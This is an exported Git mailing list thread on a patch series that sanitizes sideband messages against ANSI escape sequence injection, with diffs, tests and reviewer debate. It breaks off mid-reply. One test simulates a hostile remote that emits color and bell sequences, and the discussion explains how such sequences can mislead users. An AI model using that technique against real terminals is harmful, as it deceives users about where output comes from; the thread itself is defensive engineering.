{"thread":{"id":"62809","subject":"[PATCH 0/3] Sanitize sideband channel messages","startedAt":"2025-01-14T18:19:35Z","lastAt":"2026-06-11T15:48:27Z","messageCount":86,"participants":["Johannes Schindelin via GitGitGadget","brian m. carlson","Phillip Wood","Andreas Schwab","Junio C Hamano","Ondrej Pohorelsky","Johannes Schindelin","Patrick Steinhardt","Jeff King","D. Ben Knoble"],"isPatch":true,"patchVersion":1,"patchTotal":3},"messages":[{"id":"510531","messageId":"pull.1853.git.1736878772.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":null,"subject":"[PATCH 0/3] Sanitize sideband channel messages","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2025-01-14T18:19:29Z","receivedAt":"2025-01-14T18:19:35Z","isPatch":true,"body":"When a clone fails, users naturally turn to the output of the git\nclone command. To assist in such scenarios, the output includes the messages\nfrom the remote git pack-objects process, delivered via what Git calls the\n\"sideband channel.\"\n\nGiven that the remote server is, by nature, remote, there is no guarantee\nthat it runs an unmodified Git version. This exposes Git to ANSI escape\nsequence injection (see\nCWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt\nterminal state, hide information, and even insert characters into the input\nbuffer (as if the user had typed those characters).\n\nThis patch series addresses this vulnerability by sanitizing the sideband\nchannel.\n\nIt is important to note that the lack of sanitization in the sideband\nchannel is already \"exploited\" by the Git user community, albeit in\nwell-intentioned ways. For instance, certain server-side hooks use ANSI\ncolor sequences in error messages to make them more noticeable during\nintentional failed fetches, e.g. as seen at\nhttps://github.com/kikeonline/githook-explode and\nhttps://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php\n\nTo accommodate such use cases, Git will allow ANSI color sequences to pass\nthrough by default, while presenting all other ASCII control characters in a\ncommon form (e.g., presenting the ESC character as ^[).\n\nThis vulnerability was reported to the Git security mailing list in early\nNovember, along with these fixes, as part of an iteration of the patches\nthat led to the coordinated security release on Tuesday, January 14th, 2025.\n\nWhile Git for Windows included these fixes in v2.47.1(2), the consensus,\napart from one reviewer, was not to include them in Git's embargoed\nversions. The risk was considered too high to disrupt existing scenarios\nthat depend on control characters received via the sideband channel being\nsent verbatim to the user's terminal emulator.\n\nSeveral reviewers suggested advising terminal emulator writers about these\n\"quality of implementation issues\" instead. I was quite surprised by this\napproach, as it seems overly optimistic to assume that terminal emulators\ncould distinguish between control characters intentionally sent by Git and\nthose unintentionally relayed from the remote server.\n\nPlease note that this patch series applies cleanly on top of v2.47.2. To\napply it cleanly on top of v2.40.4 (the oldest of the most recently serviced\nsecurity releases), the calls to test_grep need to be replaced with calls\nto test_i18ngrep, and the calls to git_config_get_string_tmp() need to be\nreplaced with calls to git_config_get_string().\n\nJohannes Schindelin (3):\n  sideband: mask control characters\n  sideband: introduce an \"escape hatch\" to allow control characters\n  sideband: do allow ANSI color sequences by default\n\n Documentation/config.txt            |  2 +\n Documentation/config/sideband.txt   | 16 ++++++\n sideband.c                          | 78 ++++++++++++++++++++++++++++-\n t/t5409-colorize-remote-messages.sh | 30 +++++++++++\n 4 files changed, 124 insertions(+), 2 deletions(-)\n create mode 100644 Documentation/config/sideband.txt\n\n\nbase-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe\nPublished-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1\nFetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v1\nPull-Request: https://github.com/gitgitgadget/git/pull/1853\n-- \ngitgitgadget\n"},{"id":"510532","messageId":"f7fb7a38333cf6527345e3dbefaeb2cd8ade6429.1736878772.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.git.1736878772.gitgitgadget@gmail.com","subject":"[PATCH 1/3] sideband: mask control characters","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2025-01-14T18:19:30Z","receivedAt":"2025-01-14T18:19:36Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe output of `git clone` is a vital component for understanding what\nhas happened when things go wrong. However, these logs are partially\nunder the control of the remote server (via the \"sideband\", which\ntypically contains what the remote `git pack-objects` process sends to\n`stderr`), and is currently not sanitized by Git.\n\nThis makes Git susceptible to ANSI escape sequence injection (see\nCWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows\nattackers to corrupt terminal state, to hide information, and even to\ninsert characters into the input buffer (i.e. as if the user had typed\nthose characters).\n\nTo plug this vulnerability, disallow any control character in the\nsideband, replacing them instead with the common `^<letter/symbol>`\n(e.g. `^[` for `\\x1b`, `^A` for `\\x01`).\n\nThere is likely a need for more fine-grained controls instead of using a\n\"heavy hammer\" like this, which will be introduced subsequently.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n sideband.c                          | 17 +++++++++++++++--\n t/t5409-colorize-remote-messages.sh | 12 ++++++++++++\n 2 files changed, 27 insertions(+), 2 deletions(-)\n\ndiff --git a/sideband.c b/sideband.c\nindex 02805573fab..c0b1cb044a3 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n+{\n+\tstrbuf_grow(dest, n);\n+\tfor (; n && *src; src++, n--) {\n+\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n+\t\t\tstrbuf_addch(dest, *src);\n+\t\telse {\n+\t\t\tstrbuf_addch(dest, '^');\n+\t\t\tstrbuf_addch(dest, 0x40 + *src);\n+\t\t}\n+\t}\n+}\n+\n /*\n  * Optionally highlight one keyword in remote output if it appears at the start\n  * of the line. This should be called for a single line only, which is\n@@ -80,7 +93,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \tint i;\n \n \tif (!want_color_stderr(use_sideband_colors())) {\n-\t\tstrbuf_add(dest, src, n);\n+\t\tstrbuf_add_sanitized(dest, src, n);\n \t\treturn;\n \t}\n \n@@ -113,7 +126,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \t\t}\n \t}\n \n-\tstrbuf_add(dest, src, n);\n+\tstrbuf_add_sanitized(dest, src, n);\n }\n \n \ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 516b22fd963..61126e2b167 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -99,4 +99,16 @@ test_expect_success 'fallback to color.ui' '\n \tgrep \"<BOLD;RED>error<RESET>: error\" decoded\n '\n \n+test_expect_success 'disallow (color) control sequences in sideband' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectshook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep ! RED decoded\n+'\n+\n test_done\n-- \ngitgitgadget\n\n"},{"id":"510533","messageId":"14c612c69ab8a2ffe73793ad80a5a1378d5e0d12.1736878772.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.git.1736878772.gitgitgadget@gmail.com","subject":"[PATCH 2/3] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2025-01-14T18:19:31Z","receivedAt":"2025-01-14T18:19:37Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding commit fixed the vulnerability whereas sideband messages\n(that are under the control of the remote server) could contain ANSI\nescape sequences that would be sent to the terminal verbatim.\n\nHowever, this fix may not be desirable under all circumstances, e.g.\nwhen remote servers deliberately add coloring to their messages to\nincrease their urgency.\n\nTo help with those use cases, give users a way to opt-out of the\nprotections: `sideband.allowControlCharacters`.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config.txt            |  2 ++\n Documentation/config/sideband.txt   |  5 +++++\n sideband.c                          | 10 ++++++++++\n t/t5409-colorize-remote-messages.sh |  8 +++++++-\n 4 files changed, 24 insertions(+), 1 deletion(-)\n create mode 100644 Documentation/config/sideband.txt\n\ndiff --git a/Documentation/config.txt b/Documentation/config.txt\nindex 8c0b3ed8075..48870bb588e 100644\n--- a/Documentation/config.txt\n+++ b/Documentation/config.txt\n@@ -522,6 +522,8 @@ include::config/sequencer.txt[]\n \n include::config/showbranch.txt[]\n \n+include::config/sideband.txt[]\n+\n include::config/sparse.txt[]\n \n include::config/splitindex.txt[]\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nnew file mode 100644\nindex 00000000000..3fb5045cd79\n--- /dev/null\n+++ b/Documentation/config/sideband.txt\n@@ -0,0 +1,5 @@\n+sideband.allowControlCharacters::\n+\tBy default, control characters that are delivered via the sideband\n+\tare masked, to prevent potentially unwanted ANSI escape sequences\n+\tfrom being sent to the terminal. Use this config setting to override\n+\tthis behavior.\ndiff --git a/sideband.c b/sideband.c\nindex c0b1cb044a3..b38a869c7b5 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -25,6 +25,8 @@ static struct keyword_entry keywords[] = {\n \t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n+static int allow_control_characters;\n+\n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static int use_sideband_colors(void)\n {\n@@ -38,6 +40,9 @@ static int use_sideband_colors(void)\n \tif (use_sideband_colors_cached >= 0)\n \t\treturn use_sideband_colors_cached;\n \n+\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n+\t\t\t    &allow_control_characters);\n+\n \tif (!git_config_get_string_tmp(key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n \telse if (!git_config_get_string_tmp(\"color.ui\", &value))\n@@ -67,6 +72,11 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n+\tif (allow_control_characters) {\n+\t\tstrbuf_add(dest, src, n);\n+\t\treturn;\n+\t}\n+\n \tstrbuf_grow(dest, n);\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 61126e2b167..5806e5a67b3 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -106,9 +106,15 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \tEOF\n \ttest_config_global uploadPack.packObjectshook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n+\n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep ! RED decoded\n+\ttest_grep ! RED decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded\n '\n \n test_done\n-- \ngitgitgadget\n\n"},{"id":"510534","messageId":"a26c4ed6cec6f0c63696234b0f91f28bab91c40f.1736878772.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.git.1736878772.gitgitgadget@gmail.com","subject":"[PATCH 3/3] sideband: do allow ANSI color sequences by default","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2025-01-14T18:19:32Z","receivedAt":"2025-01-14T18:19:37Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding two commits introduced special handling of the sideband\nchannel to neutralize ANSI escape sequences before sending the payload\nto the terminal, and `sideband.allowControlCharacters` to override that\nbehavior.\n\nHowever, some `pre-receive` hooks that are actively used in practice\nwant to color their messages and therefore rely on the fact that Git\npasses them through to the terminal.\n\nIn contrast to other ANSI escape sequences, it is highly unlikely that\ncoloring sequences can be essential tools in attack vectors that mislead\nGit users e.g. by hiding crucial information.\n\nTherefore we can have both: Continue to allow ANSI coloring sequences to\nbe passed to the terminal, and neutralize all other ANSI escape\nsequences.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.txt   | 17 ++++++--\n sideband.c                          | 61 ++++++++++++++++++++++++++---\n t/t5409-colorize-remote-messages.sh | 16 +++++++-\n 3 files changed, 84 insertions(+), 10 deletions(-)\n\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nindex 3fb5045cd79..f347fd6b330 100644\n--- a/Documentation/config/sideband.txt\n+++ b/Documentation/config/sideband.txt\n@@ -1,5 +1,16 @@\n sideband.allowControlCharacters::\n \tBy default, control characters that are delivered via the sideband\n-\tare masked, to prevent potentially unwanted ANSI escape sequences\n-\tfrom being sent to the terminal. Use this config setting to override\n-\tthis behavior.\n+\tare masked, except ANSI color sequences. This prevents potentially\n+\tunwanted ANSI escape sequences from being sent to the terminal. Use\n+\tthis config setting to override this behavior:\n++\n+--\n+\tcolor::\n+\t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n+\t\tbut mask all other control characters. This is the default.\n+\tfalse::\n+\t\tMask all control characters other than line feeds and\n+\t\thorizontal tabs.\n+\ttrue::\n+\t\tAllow all control characters to be sent to the terminal.\n+--\ndiff --git a/sideband.c b/sideband.c\nindex b38a869c7b5..9763dea0531 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -25,7 +25,11 @@ static struct keyword_entry keywords[] = {\n \t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n-static int allow_control_characters;\n+static enum {\n+\tALLOW_NO_CONTROL_CHARACTERS = 0,\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1,\n+\tALLOW_ANSI_COLOR_SEQUENCES = 2\n+} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static int use_sideband_colors(void)\n@@ -40,8 +44,24 @@ static int use_sideband_colors(void)\n \tif (use_sideband_colors_cached >= 0)\n \t\treturn use_sideband_colors_cached;\n \n-\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n-\t\t\t    &allow_control_characters);\n+\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n+\tcase 0: /* Boolean value */\n+\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n+\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n+\t\tbreak;\n+\tcase -1: /* non-Boolean value */\n+\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n+\t\t\t\t\t      &value))\n+\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n+\t\telse if (!strcmp(value, \"color\"))\n+\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\tbreak;\n+\tdefault:\n+\t\tbreak; /* not configured */\n+\t}\n \n \tif (!git_config_get_string_tmp(key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n@@ -70,9 +90,37 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+{\n+\tint i;\n+\n+\t/*\n+\t * Valid ANSI color sequences are of the form\n+\t *\n+\t * ESC [ [<n> [; <n>]*] m\n+\t */\n+\n+\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n+\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\t\treturn 0;\n+\n+\tfor (i = 2; i < n; i++) {\n+\t\tif (src[i] == 'm') {\n+\t\t\tstrbuf_add(dest, src, i + 1);\n+\t\t\treturn i;\n+\t\t}\n+\t\tif (!isdigit(src[i]) && src[i] != ';')\n+\t\t\tbreak;\n+\t}\n+\n+\treturn 0;\n+}\n+\n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n-\tif (allow_control_characters) {\n+\tint i;\n+\n+\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -81,7 +129,10 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n \t\t\tstrbuf_addch(dest, *src);\n-\t\telse {\n+\t\telse if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\t\tsrc += i;\n+\t\t\tn -= i;\n+\t\t} else {\n \t\t\tstrbuf_addch(dest, '^');\n \t\t\tstrbuf_addch(dest, 0x40 + *src);\n \t\t}\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 5806e5a67b3..98c575e2e7f 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -101,7 +101,7 @@ test_expect_success 'fallback to color.ui' '\n \n test_expect_success 'disallow (color) control sequences in sideband' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n-\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n \texec \"$@\"\n \tEOF\n \ttest_config_global uploadPack.packObjectshook ./color-me-surprised &&\n@@ -109,12 +109,24 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_must_be_empty actual &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=false \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n \ttest_grep ! RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n \n \trm -rf throw-away &&\n \tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep RED decoded\n+\ttest_grep RED decoded &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_file_not_empty actual\n '\n \n test_done\n-- \ngitgitgadget\n"},{"id":"510549","messageId":"Z4bqMYKRP7Gva5St@tapette.crustytoothpaste.net","threadId":"62809","inReplyTo":"pull.1853.git.1736878772.gitgitgadget@gmail.com","subject":"Re: [PATCH 0/3] Sanitize sideband channel messages","fromName":"brian m. carlson","fromEmail":"sandals@crustytoothpaste.net","sentAt":"2025-01-14T22:50:25Z","receivedAt":"2025-01-14T22:50:32Z","isPatch":true,"body":"On 2025-01-14 at 18:19:29, Johannes Schindelin via GitGitGadget wrote:\n> When a clone fails, users naturally turn to the output of the git\n> clone command. To assist in such scenarios, the output includes the messages\n> from the remote git pack-objects process, delivered via what Git calls the\n> \"sideband channel.\"\n> \n> Given that the remote server is, by nature, remote, there is no guarantee\n> that it runs an unmodified Git version. This exposes Git to ANSI escape\n> sequence injection (see\n> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt\n> terminal state, hide information, and even insert characters into the input\n> buffer (as if the user had typed those characters).\n\nI could certainly be mistaken, but I believe the report feature (e.g.,\ntitle report), which is disabled for security reasons on all major\nterminal emulators, is the only feature that can be used to adjust the\ninput buffer.  If there are others, then those would definitely be\nvulnerability in the terminal emulator, which is the place they should be\nfixed.\n\n> This patch series addresses this vulnerability by sanitizing the sideband\n> channel.\n> \n> It is important to note that the lack of sanitization in the sideband\n> channel is already \"exploited\" by the Git user community, albeit in\n> well-intentioned ways. For instance, certain server-side hooks use ANSI\n> color sequences in error messages to make them more noticeable during\n> intentional failed fetches, e.g. as seen at\n> https://github.com/kikeonline/githook-explode and\n> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php\n> \n> To accommodate such use cases, Git will allow ANSI color sequences to pass\n> through by default, while presenting all other ASCII control characters in a\n> common form (e.g., presenting the ESC character as ^[).\n> \n> This vulnerability was reported to the Git security mailing list in early\n> November, along with these fixes, as part of an iteration of the patches\n> that led to the coordinated security release on Tuesday, January 14th, 2025.\n\nI think there is some disagreement as to whether this constitutes a\nvulnerability.  I personally don't agree with that characterization, and\na CWE is a type of weakness, not a vulnerability.\n\nNote that all of these problems could also occur by SSHing into an\nuntrusted server, running `curl` without redirecting output, or running\n`cat` on a specially crafted file at the command line.  It is\nspecifically expected that people use SSH to log into untrusted or\npartially-trusted machines, so this is not just a thought exercise.\nNone of those cases would be addressed by this series.\n\n> While Git for Windows included these fixes in v2.47.1(2), the consensus,\n> apart from one reviewer, was not to include them in Git's embargoed\n> versions. The risk was considered too high to disrupt existing scenarios\n> that depend on control characters received via the sideband channel being\n> sent verbatim to the user's terminal emulator.\n> \n> Several reviewers suggested advising terminal emulator writers about these\n> \"quality of implementation issues\" instead. I was quite surprised by this\n> approach, as it seems overly optimistic to assume that terminal emulators\n> could distinguish between control characters intentionally sent by Git and\n> those unintentionally relayed from the remote server.\n\nI've done some analysis of this approach after discussion on the\nsecurity list and I don't think we should adopt it, as I mentioned\nthere.\n\nWhere pre-receive hooks are available, people frequently run various\ncommands to test and analyze code in them, including build or static\nanalysis tools, such as Rust's Cargo.  Cargo is capable of printing a\nwide variety of escape sequences in its output, including `\\e[K`, which\noverwrites text to the right (e.g., for progress bars and status output\nmuch like Git produces), and sequences for hyperlinks.  Stripping these\nsequences would break the output in ways that would be confusing to the\nuser (since they work fine in a regular terminal) and hard to\nreproduce or fix.\n\nThere are a variety of other terminal sequences that I have also seen\npractically used here which would also be broken.  Other sequences that\ncould usefully be sent (but I have not seen practically implemented)\ninclude sixel codes (which are a type of image format) that could be\nused to display QR codes for purposes such as tracking CI jobs or\nproviding a \"receipt\" of code pushed.\n\nI agree that this would have been a nice feature to add at the beginning\nof the development of the sideband feature, but I fear that it is too\nlate to make an incompatible change now.\n\nI realize that you've provided an escape hatch, but as we've seen with\nother defense-in-depth measures, that doesn't avoid the inconvenience\nand hassle of dealing with those changes and the costs of deploying\nfixes everywhere.  We need to consider the costs and impact of these\npatches on our users, including the burden of dealing with incompatible\nchanges, and given the fact that this problem can occur in a wide\nvariety of other contexts which you are not solving here and which would\nbe better solved more generally in terminal emulators themselves, I\ndon't think the benefits of this approach outweigh the downsides.\n\nI do agree that there are terminal emulators which have some surprising\nand probably insecure behaviour, as we've discussed in the past, but\nbecause I believe those issues are more general and could be a problem\nfor any terminal-using program, I continue to believe that those issues\nare best addressed in the terminal emulator itself.\n-- \nbrian m. carlson (they/them or he/him)\nToronto, Ontario, CA\n"},{"id":"510570","messageId":"f2ce08c4-f70e-487a-8dd9-286ee5bc683d@gmail.com","threadId":"62809","inReplyTo":"f7fb7a38333cf6527345e3dbefaeb2cd8ade6429.1736878772.git.gitgitgadget@gmail.com","subject":"Re: [PATCH 1/3] sideband: mask control characters","fromName":"Phillip Wood","fromEmail":"phillip.wood123@gmail.com","sentAt":"2025-01-15T14:49:00Z","receivedAt":"2025-01-15T14:49:06Z","isPatch":true,"body":"Hi Dscho\n\nJust a couple of small comments\n\nOn 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:\n> From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> \n> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n> +{\n> +\tstrbuf_grow(dest, n);\n> +\tfor (; n && *src; src++, n--) {\n> +\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n\nIsn't it a bug to pass '\\n' to maybe_colorize_sideband() ?\n\n> +\t\t\tstrbuf_addch(dest, *src);\n> +\t\telse {\n> +\t\t\tstrbuf_addch(dest, '^');\n> +\t\t\tstrbuf_addch(dest, 0x40 + *src);\n\nThis will escape DEL ('\\x7f') as \"^\\xbf\" which is invalid in utf-8 \nlocales. Perhaps we could use \"^?\" for that instead.\n\n> +test_expect_success 'disallow (color) control sequences in sideband' '\n> +\twrite_script .git/color-me-surprised <<-\\EOF &&\n> +\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n> +\texec \"$@\"\n> +\tEOF\n> +\ttest_config_global uploadPack.packObjectshook ./color-me-surprised &&\n> +\ttest_commit need-at-least-one-commit &&\n> +\tgit clone --no-local . throw-away 2>stderr &&\n> +\ttest_decode_color <stderr >decoded &&\n> +\ttest_grep ! RED decoded\n\nI'd be happier if we used test_cmp() here so that we check that the \nsanitized version matches what we expect and the test does not pass if \nthere a typo in the script above stops it from writing the SGR code for red.\n\nBest Wishes\n\nPhillip\n\n"},{"id":"510571","messageId":"8570a129-d66a-465a-905e-0a077c69c409@gmail.com","threadId":"62809","inReplyTo":"pull.1853.git.1736878772.gitgitgadget@gmail.com","subject":"Re: [PATCH 0/3] Sanitize sideband channel messages","fromName":"Phillip Wood","fromEmail":"phillip.wood123@gmail.com","sentAt":"2025-01-15T14:49:13Z","receivedAt":"2025-01-15T14:49:52Z","isPatch":true,"body":"Hi Dscho\n\nOn 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:\n> When a clone fails, users naturally turn to the output of the git\n> clone command. To assist in such scenarios, the output includes the messages\n> from the remote git pack-objects process, delivered via what Git calls the\n> \"sideband channel.\"\n> \n> Given that the remote server is, by nature, remote, there is no guarantee\n> that it runs an unmodified Git version. This exposes Git to ANSI escape\n> sequence injection (see\n> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt\n> terminal state, hide information,\n\nI agree we should think about preventing an untrusted remote process \nfrom making it look like its messages come from the trusted local \nprocess. At best it is confusing and at worst it might trick a user into \nrunning a malicious command if they think the message came from the \nlocal git process. We need to be careful not to break existing \nlegitimate output though. Brian has already highlighted the need to \nsupport '\\e[K' (clear to the end of the current line), we may also want \nto treat '\\e[G' (move to column 1 on the current line) as '\\r' in \naddition to SGR escapes in the last patch.\n\n> and even insert characters into the input\n> buffer (as if the user had typed those characters).\n\nMaybe I've missed something but my understanding from the link above is \nthat this is a non-issue for terminal emulators released in the last 20 \nyears. In any case I think that that is a security bug in the emulator \nand should be fixed there as it has been in the past. I found [1] to be \nmuch more informative than the mitre link above about the actual \nvulnerabilities.\n\nBest Wishes\n\nPhillip\n\n[1] https://marc.info/?l=bugtraq&m=104612710031920\n\n> This patch series addresses this vulnerability by sanitizing the sideband\n> channel.\n> \n> It is important to note that the lack of sanitization in the sideband\n> channel is already \"exploited\" by the Git user community, albeit in\n> well-intentioned ways. For instance, certain server-side hooks use ANSI\n> color sequences in error messages to make them more noticeable during\n> intentional failed fetches, e.g. as seen at\n> https://github.com/kikeonline/githook-explode and\n> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php\n> \n> To accommodate such use cases, Git will allow ANSI color sequences to pass\n> through by default, while presenting all other ASCII control characters in a\n> common form (e.g., presenting the ESC character as ^[).\n> \n> This vulnerability was reported to the Git security mailing list in early\n> November, along with these fixes, as part of an iteration of the patches\n> that led to the coordinated security release on Tuesday, January 14th, 2025.\n> \n> While Git for Windows included these fixes in v2.47.1(2), the consensus,\n> apart from one reviewer, was not to include them in Git's embargoed\n> versions. The risk was considered too high to disrupt existing scenarios\n> that depend on control characters received via the sideband channel being\n> sent verbatim to the user's terminal emulator.\n> \n> Several reviewers suggested advising terminal emulator writers about these\n> \"quality of implementation issues\" instead. I was quite surprised by this\n> approach, as it seems overly optimistic to assume that terminal emulators\n> could distinguish between control characters intentionally sent by Git and\n> those unintentionally relayed from the remote server.\n> \n> Please note that this patch series applies cleanly on top of v2.47.2. To\n> apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced\n> security releases), the calls to test_grep need to be replaced with calls\n> to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be\n> replaced with calls to git_config_get_string().\n> \n> Johannes Schindelin (3):\n>    sideband: mask control characters\n>    sideband: introduce an \"escape hatch\" to allow control characters\n>    sideband: do allow ANSI color sequences by default\n> \n>   Documentation/config.txt            |  2 +\n>   Documentation/config/sideband.txt   | 16 ++++++\n>   sideband.c                          | 78 ++++++++++++++++++++++++++++-\n>   t/t5409-colorize-remote-messages.sh | 30 +++++++++++\n>   4 files changed, 124 insertions(+), 2 deletions(-)\n>   create mode 100644 Documentation/config/sideband.txt\n> \n> \n> base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe\n> Published-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1\n> Fetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v1\n> Pull-Request: https://github.com/gitgitgadget/git/pull/1853\n\n"},{"id":"510572","messageId":"87sepk14yk.fsf@igel.home","threadId":"62809","inReplyTo":"f7fb7a38333cf6527345e3dbefaeb2cd8ade6429.1736878772.git.gitgitgadget@gmail.com","subject":"Re: [PATCH 1/3] sideband: mask control characters","fromName":"Andreas Schwab","fromEmail":"schwab@linux-m68k.org","sentAt":"2025-01-15T15:17:55Z","receivedAt":"2025-01-15T15:18:03Z","isPatch":true,"body":"On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:\n\n> diff --git 